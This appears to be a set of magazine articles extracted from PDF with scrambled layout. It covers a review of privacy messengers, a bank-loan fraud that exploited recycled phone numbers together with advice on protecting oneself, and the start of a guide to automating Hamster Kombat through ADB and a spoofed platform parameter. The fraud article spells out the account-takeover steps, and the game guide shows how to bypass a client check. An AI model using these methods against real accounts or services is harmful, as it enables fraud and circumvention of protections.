  — это  криптографическая функция,

которая обеспечивает безопасность ключей шифрования, даже если дол‐
госрочные ключи сервера скомпрометированы. В  контексте сеансового
шифрования PFS гарантирует, что каждый новый сеанс использует уникаль‐
ный временный ключ, который не зависит от других ключей. Таким образом,
даже если злоумышленник получит доступ к  долгосрочным ключам, он
не  сможет расшифровать прошлую или  будущую зашифрованную информа‐
цию, так как каждый сеанс использует отдельный ключ, который не сохраня‐
ется после завершения сеанса.

Perfect Forward Secrecy (PFS)

 — это функция в системах шиф‐
рования и  защиты данных, которая позволяет пользователю отрицать факт
существования определенных данных даже под  принуждением. Идея зак‐
лючается в  том, что пользователь может хранить секретную информацию
в  зашифрованном виде и  предоставить доступ только к  определенным дан‐
ным, которые выглядят безобидно, в  то время как  более чувствительная
информация остается скрытой и  защищенной. Например, в  некоторых сис‐
темах шифрования можно настроить несколько паролей: один для  доступа
к  обычным данным, а  другой  — для  доступа к  более важным данным. Если
пользователь подвергается давлению, он может предоставить пароль
к безобидным данным, делая вид, что это все, что у него есть, а истинно важ‐
ная информация остается скрытой.

Режим правдоподобного отрицания

И еще  из странных решений: чтобы поднять свой сервисный узел, нужно
заморозить на  своем счету валюту OXEN примерно на  15  тысяч долларов
США. Объясняется это  как защита от  заспамливания неблагонадежными
нодами.

Плюсы:
полная анонимность благодаря сети Oxen;•
для регистрации не требуются никакие данные пользователя;•
возможность восстановления учетной записи при помощи секретной фра‐
зы;

•

используется минимально необходимое количество передаваемых
метаданных;

•

открытый исходный код;•
децентрализованная структура сети;•
шифрование по умолчанию (используются стойкие криптоалгоритмы);•
проведен аудит кода.•

Минусы:
редкие обновления;•
анонимность обеспечивается только для сообщений;•
медленная доставка сообщений;•
наличие мелких багов;•
не используется PFS;•
другие спорные решения в архитектуре безопасности.•

SIMPLEX

Наверное, самый интересный мессенджер в  этой подборке, он же и  самый
загадочный. SimpleX удовлетворяет всем современным требованиям: есть
аудио- и  видеозвонки, передача файлов, исчезающие сообщения, группы
пользователей и прочее. Регистрация анонимна и не требует вводить номер
телефона или  какие‑либо другие данные. Структура сети федеративная,
с  возможностью подключения собственных серверов‑ретрансляторов. При‐
ятно удивляет обилие настроек: можно подключать свои ноды, серверы
WebRTC ICE и XFTP для передачи файлов.

Настройки SimpleX

Для защиты данных используется протокол SMP (SimpleX Messaging Protocol),
который заворачивается в  TLS для  связи с  ретранслирующими серваками.
Разработчики регулярно выпускают обновления и  чинят баги, поэтому при‐
ложение работает стабильно. Разумеется, весь исходный код открыт.

SimpleX использует сильную криптографию, в  том числе постквантовые
алгоритмы. В  общем, по  продуманности архитектуры и  доступным настрой‐
кам клиента SimpleX выгодно отличается в  лучшую сторону от  большинства
мессенджеров. Возможность развертывать собственные серверы  —
еще один важный плюс.

Тем не  менее лично я пока отношусь к  SimpleX настороженно. Проект
никак не  зарабатывает деньги, но  уровень поддержки у  него не  хуже, чем
у  коммерческих. Подозрительно! К  тому же SimpleX зарегистрирован 

, а правительство этой страны то и дело  на право
граждан надежно . Аудит исходников был проведен,
но  , то есть Минобороны США. Впрочем, исходный код
открыт, и  шифрование благородные лорды пока не  запретили, так что, воз‐
можно, беспокоиться рано.

в
Великобритании покушается

шифровать переписку
по заказу DARPA

Стоит отметить и  то, что разработчики выбрали для  проекта необычный
язык программирования  — Haskell. Любители функциональщины оценят,
но такой выбор автоматически сужает число людей, способных разобраться
в исходниках.

Плюсы:

для регистрации не требуются никакие данные пользователя;•
открытый исходный код;•
частые обновления;•
шифрование по умолчанию (используются стойкие криптоалгоритмы);•
возможность детальной настройки сети;•
возможность защиты IP-адреса при  помощи ретрансляции через SMP-
серверы (как предустановленные, так и введенные вручную);

•

проведен аудит кода;•
минимальная передача метаданных, несмотря на федеративную архитек‐
туру сети.

•

Минусы:

лишь частично децентрализованная (федеративная) архитектура сети;•
потребляет много трафика для служебных нужд;•
регистрация в Великобритании;•
отсутствуют групповые звонки.•

Продолжение статьи
→
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БРАТЬЯ SIGNAL
ВЫБИРАЕМ ИЗ ПЯТИ НАИБОЛЕЕ

ПРИВАТНЫХ И ЗАЩИЩЕННЫХ
МЕССЕНДЖЕРОВ

ПРИВАТНОСТЬ 
НАЧАЛО СТАТЬИ←

JAMI

Это полностью децентрализованный мессенджер, не  требующий для  регис‐
трации каких‑либо данных от  пользователя. Сообщения шифруются
при помощи RSA и заворачиваются в TLS — именно в таком виде происходит
циркуляция сообщений между нодами. Еще из плюсов мессенджера — мож‐
но кастомизировать bootstrap-серверы, добавлять и  использовать ноды
в DHT-сети Jami, менять серверы STUN и TURN.

Настройки Jami

Есть даже возможность подключать плагины, и доступен SDK для их написа‐
ния. Например, через плагин можно менять фон при видеозвонке.

Настройки Jami

Интересная особенность  — при  регистрации тебе предлагается создать
псевдоним, который потом хранится на  NameServer (NS) сети Jami. Если ты
потеряешь свой профиль (например, забудешь пароль), то восстановить его
не получится и воспользоваться своим старым именем тоже, потому что ней‐
мсервер уже знает тебя. Зато таким образом обеспечивается защита от под‐
делки личности. Понятно, что неймсервер не  хранит ничего, кроме имени,
но даже это — хоть и небольшая, но утечка метаданных.

Еще одно интересное наблюдение: когда происходит миграция аккаунта
на другое устройство, он ненадолго целиком загружается в сеть Jami, правда,
под  паролем, который сгенерирует программа. Вопрос: насколько качес‐
твенный это  пароль и  действительно ли его невозможно предсказать?
Однозначного ответа у меня нет, так что это тема для отдельного исследова‐
ния.

Плюсы:

для регистрации не нужны никакие данные пользователя;•
открытый исходный код;•
децентрализованная структура сети;•
частые обновления;•
шифрование по умолчанию (используются стойкие криптоалгоритмы).•

Минусы:

спорный подход к защите метаданных;•
не был проведен аудит кода.•

STATUS

Еще один интересный мессенджер, в  котором заодно есть криптокошелек
и Web3-браузер. Как и все мессенджеры в этом обзоре, не требует номера
телефона для  регистрации, а  для передачи сообщений использует стойкую
криптографию и  имеет открытый исходный код. Как  и Session, использует
блокчейн для работы. У Status есть свой криптовалютный токен — ERC20 SNT.
Токены можно покупать, а можно получить, например за поднятие своей ноды
сети.

Настройки Status

Раньше во время загрузки мессенджера использовались bootstrap-серверы,
которые позволяли получить служебную информацию, но после того, как сеть
разрослась, такие серверы не  используются по  умолчанию. Однако, если
что‑то пойдет не так, ты можешь включить их в настройках.

Приложение в  автоматическом режиме подключается к  ближайшим
нодам, но ты можешь выбрать ноду и вручную. А при желании — создать свою
и подключаться только к ней (что, на мой взгляд, неплохая возможность). Да и
в целом количество настроек впечатляет.

Юридическое лицо зарегистрировано в Швейцарии, где действуют стро‐
гие законы о конфиденциальности.

При тестировании Status я столкнулся с  мелкими багами. Например,
при  первом запуске приложения нужно согласиться с  политикой конфиден‐
циальности и условиями использования, но, когда нажимаешь на гиперссыл‐
ку, она отправляет на главную страницу сайта.

Политика конфиденциальности и условия использования Status

Кстати, нужные документы я нашел, проскроллив страницу до самого конца,
но относились они к самому сайту, а не к мессенджеру.

Плюсы:

для регистрации не требуются никакие данные пользователя;•
возможность восстановления учетной записи при помощи секретной фра‐
зы;

•

открытый исходный код;•
децентрализованная структура сети;•
шифрование по умолчанию (используются стойкие криптоалгоритмы);•
встроенный криптокошелек и браузер;•
базируется в Швейцарии;•
проведен аудит кода.•

Минусы:

заметные баги;•
мессенджер пока мало используется и недостаточно протестирован.•

BRIAR

Мессенджер Briar работает внутри сети Tor, к  тому же может работать
без  интернета  — по  принципу ad hoc поверх Bluetooth или  Wi-Fi (во втором
случае для общения нужно быть в одной сети). Для регистрации не требуется
номер телефона.

Вообще, возможность работать совсем без интернета — это своего рода
киллер‑фича. Понятно, что радиус будет невелик, но  все же, если случится
техногенный апокалипсис, это может пригодиться!

Мало того, на  Android этот мессенджер умеет и  распространяться
без интернета. Для этого нужно выбрать в настройках «Поделиться этим при‐
ложением офлайн», после этого будет создана точка доступа Wi-Fi, к которой
можно подключиться. Адрес и  порт Briar сообщит сам. Подключаешься,
и можешь поставить приложение на новое устройство.

Briar устанавливается офлайн

Что до приватности, то тут все толково: мессенджер по минимуму использует
метаданные пользователя, так что можно особенно не  переживать, что они
куда‑то утекут.

Из минусов — нет синхронизации между устройствами. Если войти в свой
аккаунт с  нового телефона, доступ к  прошлым перепискам получить ты
не  сможешь. Ну а  если потеряешь пароль от  своего аккаунта, потеряешь
и сам аккаунт.

Нет и других привычных функций: аудио- и видеозвонков и даже полноцен‐
ной передачи файлов! Прикреплять к  сообщениям можно только картинки.
Надо признать, что в  современном мире эти недостатки могут оказаться
решающими. Но  зато есть встроенная система блогов: делиться с  миром
ценными мыслями тут может любой пользователь.

Для меня большим недостатком стали скудные настройки. Например, зап‐
рещено делать скриншоты приложения, и  этот запрет никак нельзя снять.
Нельзя даже вручную вводить адреса мостов Tor, только включить или  вык‐
лючить возможность их использования. О  современных мостах WebTunnel,
похоже, речи тоже не  идет. То есть разработчик все уже решил за  тебя
и никакого выбора не дает.

Плюсы:

для регистрации не требуются никакие данные пользователя;•
анонимность за счет сети Tor;•
открытый исходный код;•
децентрализованная структура сети;•
шифрование по умолчанию (используются стойкие криптоалгоритмы);•
проведен аудит кода.•

Минусы:

мало возможностей по сравнению с другими мессенджерами;•
нет синхронизации между устройствами;•
слабая кастомизация.•

ВЫВОДЫ

Подведем некоторые итоги:
 — крепкий середнячок, безопасный и децентрализованный;• Jami

 — подойдет, если нужна анонимность вместе с конфиденциаль‐

ностью сообщений (с некоторыми указанными оговорками);

• Session

  — комбайн, включающий в  себя, помимо мессенджера,
еще кошелек криптовалюты и браузер;

• Status

  — стабильный мессенджер с  гибкой кастомизацией и  регуляр‐

ными обновлениями;

• SimpleX

  — мессенджер для  постапокалипсиса, простой как  молоток и  уме‐

ющий работать вообще без интернета.

• Briar

Как видишь, нет мессенджера, в котором идеально всё. У каждого из них свои
сильные и  слабые стороны. Надеюсь, статья поможет тебе взвесить их
при выборе.
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ПРИВАТНОСТЬ

Буквально месяц назад бывшие клиенты одного из  крупных
российских банков начали получать письма, из  которых
с  удивлением узнавали о  наличии кредита. Оказалось, что
кредиты оформляли мошенники, массово скупавшие
у мобильных операторов ранее использовавшиеся телефон‐
ные номера. При  этом банк разводит руками: всё в  рамках
клиентского договора, пройдите в  кассу, товарищ. Сегодня
мы поговорим о  том, как  обезопасить себя, сберечь нервы
и деньги и не оказаться в столь неприятной ситуации.

Описанный выше случай  — далеко не  единственный, пострадавших, судя
по  тематическим группам в  «Телеграме», накопилось уже немало. Успех
реализации этой нехитрой мошеннической схемы опирался на  два обсто‐
ятельства: возможность выбрать на  сайте сотового оператора любой
телефонный номер из  числа бывших в  употреблении и  на своеобразную
политику безопасности банка при восстановлении доступа в личный кабинет.
А теперь — по порядку.

От редакции
Эта статья — не о хакерстве и даже не о компьютерах, а о смежной теме —
мошенничестве и  противостоянии ему. Публикуем мы ее в  порядке экспе‐
римента: хотим, чтобы наш читатель был подкован не только в кибербезопас‐
ности, но и в более приземленных вопросах. Дай знать в комментариях, если
считаешь, что такие материалы полезны! Если эксперимент окажется
успешным, мы подумаем, о  чем еще  стоит написать в  рамках темы «не дай
себя обмануть».

КАК БАНК КРЕДИТЫ РАЗДАВАЛ

В одном тридевятом царстве, в тридесятом государстве персональные дан‐
ные граждан уже давным‑давно перестали быть персональными, а  понятие
«защита информации» так и  вовсе быльем поросло. О  том, что базы поль‐
зователей нескольких популярных в Рунете сервисов уже давно и безнадежно
слиты в  паблик, знает каждый. Вот по  этим самым базам злодеи и  сделали
выборку телефонных номеров, владельцы которых оплачивали услуги картами
одного из  крупнейших российских банков. В  точности так же поступают
жулики, которые обзванивают людей от имени кредитных организаций, — они
знают анкетные данные потенциальной жертвы, а  также то, в  каком банке
у нее открыт счет.

Но в нашем случае мошенники никому звонить не стали: вместо этого они
отправились на  сайт мобильного оператора и  принялись выкупать осво‐
бодившиеся телефонные номера из  своего списка. Оформляли они их,
понятное дело, на  дропов. Логика здесь простая: если человек перестал
пользоваться номером, на  который раньше заказывал доставку или  офор‐
млял оплаченные дебетовой картой покупки, вполне вероятно, что он не отвя‐
зал этот номер от своей учетной записи в личном кабинете банка. А значит,
можно попытаться получить к этой учетке доступ.

Большинство финансовых организаций при  замене сим‑карты, попытке
логина из  необычной географической локации или  после долгого периода
бездействия блокируют доступ пользователя в личный кабинет, требуя явить‐
ся в  ближайший офис с  паспортом для  подтверждения личности или  сооб‐
щить техподдержке кодовое слово, а затем ответить на ряд контрольных воп‐
росов. С  одной стороны, это  создает определенные неудобства для  кли‐
ентов, с другой — добавляет сто очков к безопасности. Но не в этом случае.

Здесь оказалось достаточно позвонить с  привязанной к  учетке симки
на короткий номер банка и сказать роботу слово «Логин», чтобы узнать соот‐
ветствующее этому номеру имя пользователя в  банковской системе. После
этого осталось лишь открыть в  браузере страницу онлайн‑банка, указать
только что выясненный логин, нажать на кнопку «Восстановить пароль», ввес‐
ти код из SMS — и вуаля, доступ открыт.

Казалось бы, что это  даст злоумышленнику, если пользователь уже дав‐
ным‑давно заблокировал свою дебетовую карту и  не держит на  счетах
ни копейки? Ничего, если бы банк не предлагал всем клиентам (даже тем, кто
не  заходил в  личный кабинет и  не пользовался услугами этой финансовой
организации много лет) оформить кредит прямо на  месте с  возможностью
сразу же вывести все деньги на карты в других банках.

Суммы, на  которые попали пострадавшие от  этой схемы, разнятся:
кому‑то повезло, и  он влетел всего лишь на  тридцать тысяч рублей, а  на
кого‑то повесили солидный долг в  несколько миллионов. При  этом банк
оправдывается тем, что в договорах четко указано: клиент обязан сообщать
обо всех изменениях своих реквизитов и учетных данных, в том числе и о сме‐
не номера телефона. Если он этого не сделал, то сам и виноват: ответствен‐
ность за  то, что в  личном кабинете теперь хозяйничают злоумышленники,
лежит исключительно на  нем. Просто перестать пользоваться карточкой
недостаточно — договор между физическим лицом и банком пролонгируется
автоматически, а  значит, продолжает действовать, даже если клиент уже
успел забыть, что когда‑то держал в этом банке счет и пользовался его услу‐
гами.

Виноваты пострадавшие или нет, теперь решит суд. А мы пока попытаемся
разобраться, как не оказаться в роли потерпевшего и какие шаги нужно пред‐
принять заранее, чтобы не очутиться в центре подобной криминальной исто‐
рии.

СЧЕТ, ПОЖАЛУЙСТА!

Для начала было  бы неплохо выяснить, где вообще открыты твои счета
и  какие банки считают тебя своим клиентом, даже если эта любовь не  вза‐
имна. Если ты пользуешься порталом «Госуслуги» и зарегистрирован на сай‐
те Федеральной налоговой службы, сделать это проще простого: логинишься
в   (с помощью отдельной учетки или через Еди‐
ную систему идентификации и аутентификации (ЕСИА), то есть через «Госус‐
луги»), находишь в  нижней части страницы заголовок «Счета» и  жмешь
«Перейти в  раздел». Вот они, все твои банковские счета единым списком,
как закрытые, так и действующие.

личный кабинет на сайте ФНС

Причем, если счет закрыт, это  еще не  означает, что твои взаимоот‐
ношения с банком окончены: договор банковского обслуживания продолжает
действовать до тех пор, пока ты его не разорвешь и не отзовешь у банка раз‐
решение на  обработку твоих персональных данных. Список этот, к  слову,
можно выгрузить в  виде PDF-файла и  изучить на  досуге: соответствующая
кнопка расположена в самом низу страницы.

Товарищ майор из налоговой видит все твои счета. Даже закрытые!

Если аккаунта в налоговой у тебя нет, его можно зарегистрировать в ближай‐
шем МФЦ, явившись туда с  паспортом. Другой вариант получить нужную
информацию  — обзвонить все банки в  твоем городе лично с  вопросом,
не являешься ли ты случайно их клиентом, но это долго, муторно и непродук‐
тивно.

РАСТОРГАЕМ ДОГОВОР

Расторгнуть договор о  комплексном банковском обслуживании может быть
совсем не просто. И не только потому, что в банке не захотят терять клиента,
а еще и потому, что даже банковские консультанты далеко не сразу понима‐
ют, чего ты от  них хочешь. Потому что людей, которые собираются импе‐
ративно расторгать ДБО, исчезающе мало.

Обычно человек просто забивает на использование карты (а многие и не
помнят, в каких банках у них счета) и не идет ее закрывать, если она больше
не  нужна. И  даже если тебя не  взломают, чтобы взять кредит, ты все равно
сможешь попаcть на  деньги  — например, когда бесплатное обслуживание
карты, про  которую ты уже забыл, внезапно станет платным при  помощи
какой‑либо хитрой юридической магии. Как ни крути, если ты не пользуешься
услугами банка, безопаснее всего полностью порвать с  ним всякие связи:
закрыть карты, счета, вклады и расторгнуть заключенные договоры.

Нужно понимать, что, закрывая банковскую карту, ты не закрываешь свой
счет. Более того, как ты, наверное, знаешь, к одному счету может быть при‐
вязано несколько банковских карт.

Но даже после закрытия их всех твой счет может по‑прежнему оставаться
открытым. Чтобы закрыть все свои счета (перепиши или сфотографируй све‐
дения об  открытых счетах в  личном кабинете налогоплательщика), нужно
написать специальное заявление в банке. В заявлении обязательно следует
указать номера счетов, которые закрываются. Кроме того, по  закону банк
может закрывать счета в течение 45 дней.

Хитрость в том, что банковский работник может предложить тебе сначала
закрыть счета, а потом (через 45 дней) прийти еще раз и написать заявление
на расторжение договора о банковском обслуживании. Ты можешь поступить
и так, но обычно в одном и том же заявлении можно и закрыть счета, и рас‐
торгнуть договор.

Кроме всего прочего, необходимо отозвать согласие на  использование
своих персональных данных. Да, несмотря на отзыв, банки могут хранить дан‐
ные о тебе еще несколько лет, но использовать их не будут. Для отзыва сог‐
ласия тоже запроси у банковского сотрудника соответствующий бланк.

Лучше всего заранее распечатать две копии заявления: одно ты отдаешь
в  банк, на  другом сотрудник банка должен поставить отметку о  том, что
документ принят в  работу,  — с  датой, подписью и  фамилией сотрудника
(иногда документу сразу присваивается входящий номер). Без  этого ты
не  сможешь доказать, что обращался в  банк с  каким‑либо требованием,  —
невыгодные для банка документы имеют тенденцию «теряться».

Если ты забыл распечатать второй экземпляр заявления, попроси сот‐
рудника снять с него копию (копию бери только с документа, на котором сто‐
ит подпись сотрудника и печать банка) или как минимум постарайся сфотог‐
рафировать все документы, которые ты передаешь в банк.

Как оформить заявление
В каждом банке обычно приняты свои образцы заявлений на  расторжение
договоров. Иногда образцы можно найти на  сайте банка или  в поисковиках
по запросу «Заявление на расторжение договора комплексного банковского
обслуживания + <название банка>», но  некоторые организации предос‐
тавляют бланк заявления только в офисе при личном присутствии клиента.

Вообще, закон (статья  859  ГК РФ) не  запрещает составлять подобные
документы и  в произвольной форме. В  заявлении следует указать полное
название организации, которой оно адресовано (посмотри на сайте банка),
имя, контактный телефон и паспортные данные заявителя, дату составления
документа. Сам текст может быть, например, таким:

Я, [Ф.И.О.], прошу расторгнуть Договор банковского обслу-
живания между мной и <название банка>, а  также прошу зак-
рыть все мои счета <номера счетов>, заблокировать и отозвать
мою банковскую карту <номер карты>, а  также все допол-
нительные банковские карты. Настоящим заявлением я отзываю
у <название банка> согласие на обработку моих персональных
данных. Дата, подпись.

Заявление можно отправить на официальный адрес банка по почте с уведом‐
лением о вручении. Банк вправе отказаться закрыть счет клиента на законных
основаниях, если на  этом счете присутствует невостребованная денежная
сумма (и клиент не указал, как ей следует распорядиться) либо у клиента име‐
ется задолженность перед кредитной организацией, в том числе технический
овердрафт.

WARNING

Внимательно читай всё, что ты подписываешь.
Даже если за  тобой скопилась большая очередь
недовольных клиентов, а в договоре присутствует
мелкий шрифт и  очень много листов. Обращай
внимание на  места в  договоре и  приложениях,
где можно ставить (или не ставить) галочки, — эти
пункты зачастую оказываются очень интерес‐
ными!

Если читать документы по  диагонали, тебя могут ожидать неприятные сюр‐
призы  — например, обещанные банком проценты на  остаток или  кешбэк
будут начисляться только при  условии подписки на  какой‑нибудь бесполез‐
ный киносервис, а  обслуживание карты и  SMS-информирование останутся
бесплатными, только если ты получаешь на эту карту зарплату или ежемесяч‐
но тратишь не меньше определенной суммы.

МОСТЫ СОЖЖЕНЫ?

Как проверить, что ты порвал все связи с банком? Есть несколько способов:
попробуй зайти в свой личный кабинет на сайте банка или в приложении,
восстановить пароль: если ты не  являешься клиентом банка, ты не  смо‐
жешь этого сделать никаким способом;

•

попробуй отправить себе перевод через СБП из  другого банка. Обычно
при  вводе телефона адресата автоматически отображаются банки,
в которые можно совершить перевод. Разумеется, тот банк, с которым ты
рвешь все отношения, не должен там отображаться;

•

позвони на  горячую линию банка с  той сим‑карты, которая раньше была
указана в  договоре с  банком: обычно банк «узнаёт» тебя по  номеру
телефона и приветствует тебя по имени;

•

проверяй личный кабинет налогоплательщика: все счета, которые ты там
видел открытыми, должны быть закрыты.

•

Если ты все сделал правильно, никаких связей со старым банком не должно
сохраниться и  злоумышленникам будет намного сложнее кинуть тебя
на деньги.

ДОГОВОР С ОПЕРАТОРОМ СВЯЗИ

Если ты долго не пользуешься сим‑картой, мобильные операторы могут дей‐
ствовать по‑разному, но  общий алгоритм обычно такой: сначала компания
списывает со  счета оставшиеся там копейки (при их наличии), затем номер
блокируется и  через какое‑то время освобождается, после чего его может
приобрести любой человек.

И вот тогда с  этим номером могут возникнуть проблемы: например, его
новый владелец оплатит что‑то противозаконное, переведет деньги
какой‑нибудь запрещенной организации (которых с каждым днем становится
все больше) или  биллинг зафиксирует телефон вблизи резонансного места
происшествия, что вызовет интерес у  правоохранительных органов. Либо,
как  в истории, рассказанной в  начале этой статьи, кто‑то вломится в  твой
аккаунт и сделает что‑нибудь нехорошее.

Конечно, можно запросить у  мобильного оператора справку о  том, что
с  определенного момента этот телефонный номер тебе больше не  принад‐
лежит. Но  со всех точек зрения намного безопаснее разорвать договор,
не дожидаясь неприятностей. Процедура та же, что и с банками: приходишь
в ближайший офис оператора с паспортом, пишешь заявление, себе забира‐
ешь копию или  фотографируешь документ с  отметкой о  том, что сотрудник
компании принял бумагу в работу.

Да, и  не забывай вовремя отвязывать «брошенные» телефонные номера
от аккаунтов в соцсетях, интернет‑магазинах и прочих сервисах, даже если ты
ими давно не  пользуешься. Кто знает, в  какой момент очередной электрон‐
ный дискаунтер устроит распродажу макбуков в  кредит для  старых, давно
зарегистрированных на сайте клиентов?

ВЫВОДЫ

Как говорится, спасение утопающих  — дело рук самих утопающих. Если
кто‑то воспользовался твоим бывшим телефонным номером в  не совсем
законных целях, можно, конечно, рассчитывать на  помощь компетентных
органов, но лучше заранее подстелить соломки и обезопасить себя от ненуж‐
ных сюрпризов. Благо примеров, наглядно показывающих, чем чревата бес‐
печность, достаточно. В общем, паранойя иногда бывает полезной, по край‐
ней мере в наше не слишком спокойное время.
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ТРЮКИ

В этой статье я расскажу о том, как я изучал
возможность автоматизации стремительно
набирающей популярность игры Hamster
Kombat. Не  все испробованные тактики
оказались удачными, но, возможно, ты най‐
дешь мои методы полезными в  иных ситу‐
ациях.

Рассказывать подробно о  самой игре не  буду, о  ней слышали, наверное,
даже те, у кого нет мобильного телефона. Начнем сразу с интересного.

WARNING

Редакция не рекомендует рассматривать Hamster
Kombat как  потенциальный источник заработка:
почему — есть подробная .
Мы будем подразумевать, что имеем дело
с  обычной игрой, и  используем ее как  популяр‐
ный пример, на  котором можно продемонстри‐
ровать техники автоматизации.

статья на «Хабрахабре»

ЗАДАЧА

Игра запускается через бота в Telegram, смысл заключается в наращивании
пассивного дохода с  биржи. Увеличивать доход можно с  помощью покупки
карточек, каждая карточка дает определенную прибавку к  доходу. Деньги
для  покупки карточек добываются двумя путями: из  того самого пассивного
дохода и нажиманием большой кнопки в центре экрана.

В процессе игры у меня быстро появилось желание автоматизировать две
вещи: нажатие на кнопку и выбор оптимальных карточек для покупки. У каж‐
дой карточки две основные характеристики: размер прибавки к  доходу
и  цена. Одни карточки дают небольшую прибавку и  дорого стоят, другие,
наоборот, очень выгодны. Для  простоты анализа я ввел понятие удельного
дохода, ну или его еще можно назвать «цена прибавки». Допустим, если кар‐
точка стоит миллион монет и дает прибавку к доходу 4000 монет, значит, цена
прибавки будет  1  000  000 / 4000 = 250  монет. Чем меньше цена прибавки,
тем целесообразнее покупка монеты.

Характеристики карточки меняются после каждой покупки, поэтому на глаз
все проанализировать и  выбрать наиболее выгодную карточку по  цене при‐
бавки практически нереально. Для начала я составил табличку, добавил в нее
все карточки и  отсортировал их по  удельной доходности (цена/добавка).
Все  бы хорошо, но  это не  отменяет необходимости после каждой покупки
вручную обновлять изменившиеся характеристики карточки. Что ж, попробу‐
ем автоматизировать.

С ходу в  голову пришел очевидный способ взаимодействия с  игрой  —
анализ изображения на экране и эмуляция нажатий на экран с использовани‐
ем Android Debug Bridge (ADB). Конечно, в  идеале  бы все сделать на  зап‐
росах, вообще без  телефона, но  для этого надо анализировать трафик, а  с
учетом того, что игра запускается только на телефоне, внутри Telegram, ана‐
лиз трафика мне показался весьма трудоемкой задачей, поэтому я решил
начать с более очевидной реализации.

АВТОМАТИЗАЦИЯ ЧЕРЕЗ ADB

Тапаем на экран
Надеюсь, что устанавливать ADB и взаимодействовать через него с телефо‐
ном все умеют, поэтому не  буду лить воду про  это, перейдем сразу к  делу.
Попытки запустить игру в  Windows закончились неудачей, поскольку игра
каким‑то образом определяет, что запущена не  на телефоне, и  выводит
сообщение об  этом. Что ж, телефон  — значит, телефон. Вооружаемся
телефоном с  Android, расчехляем ADB. Вопрос с  тапаньем по  кнопке легко
решается одной командой:

e:\Android\sdk\platform-tools\adb.exe  shell input tap 540 1800


540  и  1800  — это  координаты точки на  экране, в  которую мы хотим «ткнуть
пальцем». Чтобы не  возвращаться к  этому второй раз, сразу хочу сказать
про  так называемую морзянку. В  игре каждый день есть возможность
получить дополнительный миллион монет, введя с  помощью азбуки Морзе
определенный код. Точка кодируется коротким нажатием, тире  — длинным.
Делать короткое нажатие мы уже умеем, длинное же делается вот такой
командой:

e:\Android\sdk\platform-tools\adb.exe  shell input swipe 500 1500 
500 1500 555


Первые четыре числа — координаты начала и конца движения, а 555 — время
движения. В нашем случае начало и конец совпадают.

Чтобы минимизировать ручную работу, можно написать на Python скрипт,
который будет принимать на  вход слово, перекодировать его в  последова‐
тельность точек и  тире и  через нажатия вводить в  игру. Приведу основные
функции, которые понадобятся.

Функция, которая эмулирует ввод точки:

 def tochka():
     cmd = "adb.exe shell input tap 500 1500"
       process = subprocess.Popen(cmd, stdout=subprocess.PIPE,
creationflags=0x08000000)
   process.wait()

Функция, эмулирующая ввод тире:

 def tire():
     cmd = "adb.exe shell input swipe 500 1500 500 1500 500"
       process = subprocess.Popen(cmd, stdout=subprocess.PIPE,
creationflags=0x08000000)
   process.wait()

Функция, которая разбирает последовательность точек и  тире и  отправляет
ее в телефон (пробел означает паузу в три секунды, необходимую для отде‐
ления букв друг от друга):

 def mz2tap(morze):
      for simvol in morze:

        match simvol:
            case ".":

               tochka()
            case "-":

               tire()
            case " ":

               time.sleep(3)

Перевода текста в азбуку Морзе касаться не буду, не ради этого мы тут соб‐
рались. Пример использования:

mz2tap(".--")
mz2tap(".")
mz2tap("-...")
mz2tap("...--")

С первой задачей по автоматизации тапов разобрались, теперь самое время
заняться анализом карточек, чтобы выбирать лучшую.

Распознаём карточки
С карточками пришлось повозиться. К задаче я решил подойти в лоб — про‐
листывать карточки и делать скриншоты, затем обрезать лишнее и распозна‐
вать то, что осталось.

Для начала я наделал кучу скриншотов с помощью скрипта на Python. Этот
код в цикле делает скриншот и скачивает его в каталог  на компь‐

ютере:

cards_dir

 while True:
     cmd = "adb.exe shell screencap -p /sdcard/screencap.png"
       process = subprocess.Popen(cmd, stdout=subprocess.PIPE,
creationflags=0x08000000)
   process.wait()
     

 
cmd = f"adb.exe  pull /sdcard/screencap.png {os.path.join(

cards_dir, datetime.datetime.now().strftime("%Y-%m-%d_%H_%M_%S_%f"))}
.png"
       process = subprocess.Popen(cmd, stdout=subprocess.PIPE,
creationflags=0x08000000)
   process.wait()
   print(cmd)

Во время работы скрипта я вручную открывал каждую карточку на телефоне.
После завершения следует удалить одинаковые скриншоты:

  hash_list = []
  list_of_files = os.walk(cards_dir)

  dubl_count = 0
     for root, folders, files in list_of_files:

      for file in files:
          file_path = os.path.join(root, file)
          Hash_file = hashlib.md5(open(file_path, 'rb').read()).

hexdigest()

           if Hash_file not in hash_list:
           hash_list.append(Hash_file)
       else:

             dubl_count += 1
           os.remove(file_path)
           print(file_path)
   if dubl_count > 0:

   print(f"Удалено {dubl_count} дубликатов")
else:
   print("Нет дубликатов")

Для распознавания будем использовать готовый модуль pytesseract. Очень
удобная штука, распознать текст на скриншоте можно одной строкой:

   string = pytesseract.image_to_string(image, lang='eng')

Однако пробный запуск показал, что в  распознанный текст попадает много
мусора. Явно нужно обрезать картинку так, чтобы на  ней был только текст.
Приводить весь скрипт для обрезки не буду, чтобы не загромождать статью
рутиной, скажу лишь, что использовал модуль PIL, из  которого мне
в основном понадобились функции  и  .Image.crop Image.getpixel

Я поэкспериментировал на  паре скриншотов, чтобы определять границы
нужной области, и разработал алгоритм, отсекающий большие области, цвет
которых не совпадает с цветом фона и текста. Потом проверил на всех скрин‐
шотах, чтобы убедиться, что все работает правильно.

После удаления лишнего 99% скриншотов нормально распознались, нес‐
тандартные добил вручную, результат свел в  табличку. Конечно, выбирать
карточки стало гораздо удобнее, но тут пришло осознание того, что не силь‐
но‑то это  помогает. После каждой покупки все равно надо подключать
телефон к  компьютеру, запускать скрипт, проверять результат распозна‐
вания. Получается, что быстрее после покупки поправлять таблицу вручную.
Увы, в таком виде эксперимент был признан неудачным.

Продолжение статьи
→
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НЕ ТАПАЙ ХОМЯКА!
КАК Я АВТОМАТИЗИРОВАЛ ИГРУ

HAMSTER KOMBAT

ТРЮКИ 
НАЧАЛО СТАТЬИ←

АВТОМАТИЗАЦИЯ ЧЕРЕЗ ЗАПРОСЫ

Анализируем трафик
Деваться некуда, попробуем познакомиться с игрой более детально. Первым
делом необходимо понять, что мешает хомяку запускаться на  компьютере.
Давай откроем веб‑версию телеграма в браузере, зайдем в бота и попробу‐
ем снова запустить игру. Хомяк просится к нам на телефон.

Стартовое сообщение

Открываем консоль разработчика, в  которой видно, что игра запускается
в отдельном .iframe

Консоль разработчика

Взглянем подробнее на параметр  у тега  и увидим там длиннющую

строку параметров. Если присмотреться, то можно заметить параметр
, содержащий значение . Попробуем заменить его

 и открыть полученный URL в новом окне.

src iframe

tgWebAppPlatform web
android

